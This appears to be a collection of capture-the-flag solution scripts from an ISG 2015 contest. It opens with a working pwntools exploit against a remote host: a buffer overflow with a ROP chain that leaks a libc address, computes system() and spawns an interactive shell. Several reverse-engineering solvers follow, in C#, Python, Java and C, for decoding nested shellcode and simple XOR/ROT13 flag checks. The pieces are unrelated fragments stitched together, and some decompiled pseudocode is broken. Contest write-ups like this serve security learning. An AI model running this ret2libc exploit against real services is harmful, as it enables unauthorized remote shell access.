from pwn import *
import struct

#p = process('/ctf/isg2015/pwnme')
p = remote('202.120.7.145', 9991)


lib_system = 0x40190
lib_write = 0xdac50
lib_read = 0xdabd0

write_plt = 0x8048370
read_plt = 0x8048330

write_plt_got = 0x804A01C
#write_plt_got = 0x804a038
main = 0x804847D
segdata = 0x0804A020

print p.readline(), p.readline()
payload = 'A'*20 + p32(write_plt) + p32(main) + p32(1) + p32(write_plt_got) + p32(4)
p.send(payload)
#write, = struct.unpack('I', p.read(4))
write, = struct.unpack('<I', p.recv(4))
print hex(write)


print p.readline(), p.readline()
payload = 'A'*12 + p32(read_plt) + p32(main) + p32(0) + p32(segdata) + p32(8)
p.send(payload)
#sleep(1)
p.send('/bin/sh\x00')

'''
print p.readline(), p.readline()
payload = 'A'*20 + p32(write_plt) + p32(main) + p32(1) + p32(segdata) + p32(8)
p.send(payload)

print p.recv(8)
'''

print p.readline(), p.readline()
payload = 'A'*20 + p32(write+lib_system-lib_write) + 'J'*4 + p32(segdata)
p.send(payload)
#p.send('ls\n')
#print p.recv(1024)
p.interactive()

private static byte[] target = new byte[]
{
	108,
	203,
	97,
	69,
	90,
	216,
	146,
	25,
	144,
	43,
	58,
	246,
	10,
	154,
	45,
	28
};

public static void CheckFile(FileInfo file)
{
	try
	{
		Console.WriteLine("Analyzing " + file.FullName + " ...");
		MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
		if (mD5CryptoServiceProvider.ComputeHash(file.OpenRead()).SequenceEqual(Module1.target))
		{
			SHA256CryptoServiceProvider sHA256CryptoServiceProvider = new SHA256CryptoServiceProvider();
			Console.WriteLine("We've found the flag on your hard drive:");
			Console.WriteLine("ISG{" + BitConverter.ToString(sHA256CryptoServiceProvider.ComputeHash(file.OpenRead())).ToLower() + "}");
			Environment.Exit(0);
		}
		Thread.Sleep(100);
	}
	catch (Exception expr_81)
	{
		ProjectData.SetProjectError(expr_81);
		Console.WriteLine("Unable to read: " + file.FullName);
		ProjectData.ClearProjectError();
	}
}

from pwn import *

#lv.1
f = open('/ctf/isg2015/onion', 'rb')
o = open('/ctf/isg2015/onion.disasm', 'w')

a = f.read()
a = a[0xb0:0xc930b0]	#.text段在文件中的偏移和大小，可以用readelf获得
o.write(disasm(a, arch='amd64'))
#print disasm(a, arch='amd64')

o.close()
f.close()


#lv.2
f = open('/ctf/isg2015/onion.disasm', 'r')
o = open('/ctf/isg2015/onion.2', 'w')

shellcode = ''
lines = f.readlines()
for l in lines:
	if l.find('movabs') > 0:
		tmp = l.split(',')
		strq = tmp[len(tmp)-1].strip()
		q = int(strq, 16)
		shellcode += p64(q)

o.write(disasm(shellcode, arch='amd64'))
o.close()
f.close()

#lv.....
name = 'onion.'
for i in range(3, 10):	#这里的范围根据题目的提示第九层，没想到一下子就对了
	fname = name + ('%d' % (i-1))
	oname = name + ('%d' % i)
	#print fname, oname

	f = open(fname, 'r')
	o = open(oname, 'w')

	shellcode = ''
	lines = f.readlines()
	for l in lines:
		if l.find('movabs') > 0:
			tmp = l.split(',')
			strq = tmp[len(tmp)-1].strip()
			q = int(strq, 16)
			shellcode += p64(q)

	o.write(disasm(shellcode, arch='amd64'))

	o.close()
	f.close()

#flag
f = open('/ctf/isg2015/onion.9', 'r')	#因为前面会丢掉那个坑人的最后一个字节，所以这里的code不是完整的

flag = ''
lines = f.readlines()
for l in lines:
	if l.find('xor    ax') > 0 or l.find('sub    ax') > 0 or l.find('cmp    ax') > 0:
		tmp = l.split(',')
		strw = tmp[len(tmp)-1].strip()
		w = int(strw, 16)
		flag += p16(w)

print flag

f.close()

public class cc {
    public static String encrypt(String s) {
        String flag = "";
        for (int i = 0; i < s.length(); i++) {
            char c = s.charAt(i);
            if (c >= 'a' && c <= 'm') {
                c = (char) (c + 13);
            } else if (c >= 'A' && c <= 'M') {
                c = (char) (c + 13);
            } else if (c >= 'n' && c <= 'z') {
                c = (char) (c - 13);
            } else if (c >= 'N' && c <= 'Z') {
                c = (char) (c - 13);
            } else if (c < '0' || c > '9') {
                c = (char) (c ^ 6);
            } else {
                c = (char) (c ^ 7);
            }
            flag = new StringBuilder(String.valueOf(flag)).append(c).toString();
        }
        return flag;
    }
}

public class uc {
    public static String nj = "VFT}E7gy4yfE7tuG6{";

    public static boolean bh(String x1, String x2, String x3) {
        String x4 = new StringBuilder(String.valueOf(x1)).append(x2).append(x3).toString();
        int n = nj.length();
        if (n > x4.length()) {
            n = x4.length();
        }
        if (x4.substring(0, n).equals(nj)) {
            return true;
        }
        return false;
    }
}

a = 'VFT}E7gy4yfE7tuG6{'

b = []
for c in a:
	if ord(c) >= ord('A') and ord(c) <= ord('Z'):
		b.append(chr((ord(c) - ord('A') + 13) % 26 + ord('A')))
	elif ord(c) >= ord('a') and ord(c) <= ord('z'):
		b.append(chr((ord(c) - ord('a') + 13) % 26 + ord('a')))
	elif ord(c) >= 0x30 and ord(c) <= 0x37 or ord(c) == 0x3e or ord(c) == 0x3f:
		b.append(chr(ord(c) ^ 7))
	else:
		b.append(chr(ord(c) ^ 6))

print ''.join(b)

en(char* flag, char* flag)
{
	v30 = flag;
	v28 = len(flag);
	_LR = 0;
	while ( _LR < (signed int)v28 )
	{
		v14 = 0;
		if ( _LR > 2 )
            v14 = 1;

        v31 = v14;
        if(v31)
        {
        	if ( (unsigned int)v30[_LR] > 0x40 )
        	{
        		if ( (unsigned int)v30[_LR] < 0x5B )
        		{
        			LOBYTE(v2) = 48;
                    *(_WORD *)v29 = 48;

                    ?? return
        		}
        	}
        }

         _R5 = -2;
         _R5 = _R5 or (not _LR)		//__asm { ORN.W           R5, R5, LR }
         _ZF = _R5 == -1;
         v12 = 0;
         if ( _ZF )
           v12 = 1;
         v32 = v12;

         if(v32)
         {
         	v2 = v5;
            v13 = (v30[_LR] & 0x26 | ~v30[_LR] & 0xD9) ^ 0xDE;
            v34[_LR] = v13;
            v5 = v2;
         }
         else
         {
	         v2 = v5;
	         v13 = (unsigned __int8)(v30[_LR] & 0xF6) | ~v30[_LR] & 9;
	         v34[_LR] = v13;
	         v5 = v2;
	     }

         ++_LR;
	}

	 v34[v28] = 0;
     v2 = 1977030948;
     v26 = 0;
     v27 = 0;

     v20 = 0;
     if ( v26 < 24 )
     	v20 = 1;
     v33 = v20;

     if ( v33 )
     {
     	v2 = 1977030948;
     	if ( (unsigned __int8)v34[v26] != (unsigned __int8)aNzRol68hviis8q[v26] )
     	{
     		v27 = 48;
     		*(_BYTE *)v29 = v27;
            *(_BYTE *)(v29 + 1) = 0;

            return;
     	}
     }
}

#include <stdio.h>

int main()
{
	char a[] = "NZ@rol68hViIs8qlX~7{6m&t";

	bool b;
	char v13;
	for(int i=0; i<24; i++)
	{
		b = ((-2 | (~i)) == -1) ? true : false;

		for(char c=0x20; c<0x7f; c++)
		{
			if(b)
				v13 = (c & 0x26 | ~c & 0xD9) ^ 0xDE;
			else
				v13 = (c & 0xF6) | ~c & 9;

			if(v13 == a[i])
				printf("%c", c);
		}
	}

	return 0;
}